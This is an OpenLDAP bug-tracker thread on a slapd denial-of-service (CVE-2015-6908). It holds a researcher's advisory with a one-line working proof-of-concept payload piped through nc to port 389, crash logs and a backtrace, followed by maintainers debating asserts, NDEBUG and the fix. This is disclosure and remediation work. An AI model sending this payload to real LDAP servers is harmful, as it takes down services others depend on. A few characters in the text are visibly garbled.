Full_Name: Denis Andzakovic Version: 2.4.42 OS: Debian 8 URL: Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff6a144e8 in __GI_abort () at abort.c:89 #2 0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "r_r_get_next") at assert.c:92 #3 0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101 #4 0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682 #5 0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572 #6 connection_read (cri=<optimiz o out>, s=<optimized out>) at connection.c:1460 #7 connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284 #8 0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696 #9 0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309 #10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +----------+ | Solution | +----------+ Ensure that data received from untrusted sources is not able to trigger conditions resulting in the server crashing. In this specific instance, the NDEBUG macro should be defined before the inclusion of assert.h by default, requiring a specific compile time alteration to enable debug. +-------------------------------+ A%A| About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650
denis.andzakovic@security-assessment.com wrote: > Full_Name: Denis Andzakovic > Version: 2.4.42 > OS: Debian 8 > URL: > Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) > > > OpenLDAP ber_get_next Denial of Service > Affected Versions: OpenLDAP <= 2.4.42 > > +-------------+ > | Description | > +-------------+ > This document details a vulnerability found within the OpenLDAP server daemon. A > Denial of Service vulnerability was discovered within the slapd daemon, allowing > an unauthenticated attacker to crash the OpenLDAP server. > > By sending a crafted packet, an attacker may cause the OpenLDAP server to reach > an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 > (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package > repository. Thanks for the report. Fixed now in git master. > +--------------+ > | Exploitation | > +--------------+ > By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash > with a SIGABRT. This is due to an assert() call within the ber_get_next method > (io.c line 682) that is hit when decoding tampered BER data. > > The following proof of concept exploit can be used to trigger the condition: > > --[ Exploit POC > echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 It's easier to just pipe this into liblber/dtest. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
changed notes changed state Open to Test moved from Incoming to Software Bugs
hyc@symas.com wrote: > Thanks for the report. Fixed now in git master. Thanks for this quick fix. Could this also affect LDAP clients using libldap? Ciao, Michael.
2015-09-11 2:11 GMT+03:00 <michael@stroeder.com>: > hyc@symas.com wrote: >> Thanks for the report. Fixed now in git master. > > Thanks for this quick fix. > > Could this also affect LDAP clients using libldap? > > Ciao, Michael. > Yes, of course - any application that uses liblber for parse or read a data.
Michael Ströder wrote: > hyc@symas.com wrote: >> Thanks for the report. Fixed now in git master. > > Thanks for this quick fix. > > Could this also affect LDAP clients using libldap? The assert was in liblber. Since libldap uses liblber, yes, it can affect clients. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
Hmm...wouldn't this ITS justify some quick security release 2.4.43? I'm willing to test in as many of my deployments as possible. CIao, Michael.
For the record, this issue is being tracked as CVE-2015-6908. http://www.openwall.com/lists/oss-security/2015/09/11/5
changed notes changed state Test to Release
michael@stroeder.com wrote: > Hmm...wouldn't this ITS justify some quick security release 2.4.43? For the umpteenth time - the Project only considers unintended information disclosures or remote code execution flaws as security issues. Neither applies here. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
denis.andzakovic@security-assessment.com wrote: > Full_Name: Denis Andzakovic > Version: 2.4.42 > OS: Debian 8 > URL: > Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) > > > OpenLDAP ber_get_next Denial of Service > Affected Versions: OpenLDAP <= 2.4.42 > +----------+ > | Solution | > +----------+ > Ensure that data received from untrusted sources is not able to trigger > conditions resulting in the server crashing. In this specific instance, the > NDEBUG macro should be defined before the inclusion of assert.h by default, > requiring a specific compile time alteration to enable debug. Our patch response was too hasty. There is no OpenLDAP bug here, the real issue is production binaries being built with asserts enabled instead of compiling with -DNDEBUG. That's an issue for packagers and distros to resolve. Closing this ITS, not an OpenLDAP bug. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
changed notes changed state Release to Closed
hyc@symas.com wrote: > Our patch response was too hasty. There is no OpenLDAP bug here, the real > issue is production binaries being built with asserts enabled instead of > compiling with -DNDEBUG. That's an issue for packagers and distros to resolve. > Closing this ITS, not an OpenLDAP bug. I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not help. slapd still crashes when hitting the assert. Ciao, Michael.
On 12/09/15 16:24, michael@stroeder.com wrote: > I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not > help. slapd still crashes when hitting the assert. Yes, portable.h #undefs it by default. OpenLDAP has always conflated logging, debug output and asserts behind LDAP_DEBUG. We've been saying for some time that we really ought to do something about that someday... Even ignoring that, demanding -NDEBUG is backwards in so many ways: Using C's features like <assert.h> is not the user's job, it's OpenLDAP's (i.e. configure and portable.hin). The person building OpenLDAP might not even be a C programmer who knows about the C language quirk that it has a feature makes errors crash by default. A simple "./configure --prefix=/whatever" ought to be a reasonable way to build OpenLDAP, like with most other packages. There are installation instructions and they do not mention NDEBUG. In particular since this isn't even about catching a bug in OpenLDAP, but in the input. If someone wants to crash-debug the input to slapd, let him #define something when building slapd. You could replace the assert() with debug_assert() or something. The same goes for any other assert which doesn't mean "assert(the code is correct)".
I wrote: > If someone wants to crash-debug the input to slapd, > let him #define something when building slapd. You could replace the > assert() with debug_assert() or something. The same goes for any > other assert which doesn't mean "assert(the code is correct)". Look at LDAP_MEMORY_DEBUG and its doc in liblber/memory.c, for example. With the note "* ... If LDAP_MEMORY_DEBUG & 2 is true, * that includes asserts known to break both slapd and current clients."
h.b.furuseth@usit.uio.no wrote: > On 12/09/15 16:24, michael@stroeder.com wrote: >> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not >> help. slapd still crashes when hitting the assert. > > Yes, portable.h #undefs it by default. OpenLDAP has always conflated > logging, debug output and asserts behind LDAP_DEBUG. We've been saying > for some time that we really ought to do something about that someday... Yes, and that's more obviously a bug that we can fix. > Even ignoring that, demanding -NDEBUG is backwards in so many ways: > > Using C's features like <assert.h> is not the user's job, it's > OpenLDAP's (i.e. configure and portable.hin). The person building > OpenLDAP might not even be a C programmer who knows about the C > language quirk that it has a feature makes errors crash by default. It is standard practice in C code. assert() and NDEBUG are part of the C standard. A person who doesn't know C has no business building the code. Certainly the libraries are of no use to them if they're not C programmers already. > A simple "./configure --prefix=/whatever" ought to be a reasonable way > to build OpenLDAP, like with most other packages. There are > installation instructions and they do not mention NDEBUG. > > In particular since this isn't even about catching a bug in OpenLDAP, > but in the input. If someone wants to crash-debug the input to slapd, > let him #define something when building slapd. You could replace the > assert() with debug_assert() or something. The same goes for any > other assert which doesn't mean "assert(the code is correct)". Every use of assert is "assert(the code is correct)" - but that often depends on dynamic state, not just the statically written code. Just like "assert(SOCKBUF_VALID(sb))" or whatever else. That is the case for the assert in question here. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
hyc@symas.com wrote: > h.b.furuseth@usit.uio.no wrote: >> On 12/09/15 16:24, michael@stroeder.com wrote: >>> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not >>> help. slapd still crashes when hitting the assert. >> >> Yes, portable.h #undefs it by default. OpenLDAP has always conflated >> logging, debug output and asserts behind LDAP_DEBUG. We've been saying >> for some time that we really ought to do something about that someday... > > Yes, and that's more obviously a bug that we can fix. Is it an easy fix? I think that in opposite to the OpenLDAP project most people out there consider this to be a really serious bug to be fixed really soon. For now with my own builds I apply the patch removing the assert statement. But I wonder how many asserts statements are in the code which can be hit by invalid input leading to a crash. >> Even ignoring that, demanding -NDEBUG is backwards in so many ways: >> >> Using C's features like <assert.h> is not the user's job, it's >> OpenLDAP's (i.e. configure and portable.hin). The person building >> OpenLDAP might not even be a C programmer who knows about the C >> language quirk that it has a feature makes errors crash by default. > > It is standard practice in C code. assert() and NDEBUG are part of the C > standard. A person who doesn't know C has no business building the code. > Certainly the libraries are of no use to them if they're not C programmers > already. This is a black-and-white-only statement which does not meet 90% of the cases out there. >> A simple "./configure --prefix=/whatever" ought to be a reasonable way >> to build OpenLDAP, like with most other packages. There are >> installation instructions and they do not mention NDEBUG. I strongly concur with Hallvard here. > Every use of assert is "assert(the code is correct)" - but that often depends > on dynamic state, not just the statically written code. Yes, dynamic state including invalid input. But IMO "assert(the code is correct)" should never be hit no matter how bad the input was. And it should definitely not crash the server (with system's ressource limits being a unavoidable exception). Rephrasing: The meaning of the statement "the code is correct" should also include "invalid input is properly handled as error" - no matter what. Ciao, Michael.
Michael Ströder wrote: > hyc@symas.com wrote: >> h.b.furuseth@usit.uio.no wrote: >>> On 12/09/15 16:24, michael@stroeder.com wrote: >>>> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not >>>> help. slapd still crashes when hitting the assert. >>> >>> Yes, portable.h #undefs it by default. OpenLDAP has always conflated >>> logging, debug output and asserts behind LDAP_DEBUG. We've been saying >>> for some time that we really ought to do something about that someday... >> >> Yes, and that's more obviously a bug that we can fix. > > Is it an easy fix? Not for 2.4. > I think that in opposite to the OpenLDAP project most people out there > consider this to be a really serious bug to be fixed really soon. > For now with my own builds I apply the patch removing the assert statement. > But I wonder how many asserts statements are in the code which can be hit by > invalid input leading to a crash. Given the lack of OpenLDAP documentation about NDEBUG I have re-reverted my previous revert. The patch has been reinstated. >> Every use of assert is "assert(the code is correct)" - but that often depends >> on dynamic state, not just the statically written code. > > Yes, dynamic state including invalid input. But IMO "assert(the code is > correct)" should never be hit no matter how bad the input was. And it should > definitely not crash the server (with system's ressource limits being a > unavoidable exception). Rephrasing: The meaning of the statement "the code is > correct" should also include "invalid input is properly handled as error" - no > matter what. In this particular case the code already handles the error perfectly well without the assert, so the assert doesn't serve any useful purpose. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/
fixed in master / RE24 / RE25
changed notes changed state Closed to Release
changed state Release to Closed